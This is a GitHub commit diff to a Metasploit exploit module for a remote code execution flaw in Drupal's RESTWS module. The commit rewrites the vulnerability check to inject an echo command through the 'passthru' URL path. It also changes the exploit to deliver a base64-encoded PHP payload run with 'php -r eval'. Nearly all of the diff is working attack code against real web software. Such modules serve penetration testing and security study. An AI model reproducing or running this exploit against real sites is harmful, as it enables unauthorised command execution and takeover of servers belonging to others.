Skip to content

Commit ec2f8fc

Browse files
committed
Change check method and use meterpreter instead of unix cmd
1 parent 650034b commit ec2f8fc

File tree

1 file changed

+13
-13
lines changed

1 file changed

+13
-13
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -35,16 +35,10 @@ def initialize(info={})
3535
'Privileged' => false,
3636
'Payload' =>
3737
{
38-
'DisableNops' => true,
39-
'Space' => 1024,
40-
'Compat' =>
41-
{
42-
'PayloadType' => 'cmd',
43-
'RequiredCmd' => 'generic python',
44-
}
38+
'DisableNops' => true
4539
},
46-
'Platform' => 'unix',
47-
'Arch' => ARCH_CMD,
40+
'Platform' => ['php'],
41+
'Arch' => ARCH_PHP,
4842
'Targets' => [ ['Automatic', {}] ],
4943
'DisclosureDate' => 'Jul 13 2016',
5044
'DefaultTarget' => 0
@@ -58,20 +52,26 @@ def initialize(info={})
5852
end
5953

6054
def check
61-
url = normalize_uri(target_uri.path, "node.xml")
55+
r = rand_text_alpha(8 + rand(4))
56+
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r , "/passthru/echo%20#{r}")
6257
res = send_request_cgi(
6358
'method' => 'GET',
6459
'uri' => url
6560
)
66-
if res && res.code == 403
61+
if res && res.body =~ /#{r}/
6762
return Exploit::CheckCode::Appears
6863
end
6964
return Exploit::CheckCode::Safe
7065
end
7166

7267
def exploit
73-
r = rand_text_alpha(4 + rand(4))
74-
url = normalize_uri(target_uri.path, "taxonomy_vocabulary/", r ,"/passthru/", Rex::Text.uri_encode(payload.encoded))
68+
random = rand_text_alpha(1 + rand(2))
69+
url = normalize_uri(target_uri.path,
70+
"?q=taxonomy_vocabulary/",
71+
random ,
72+
"/passthru/",
73+
Rex::Text.uri_encode("php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
74+
)
7575
send_request_cgi(
7676
'method' => 'GET',
7777
'uri' => url

0 commit comments

Comments
 (0)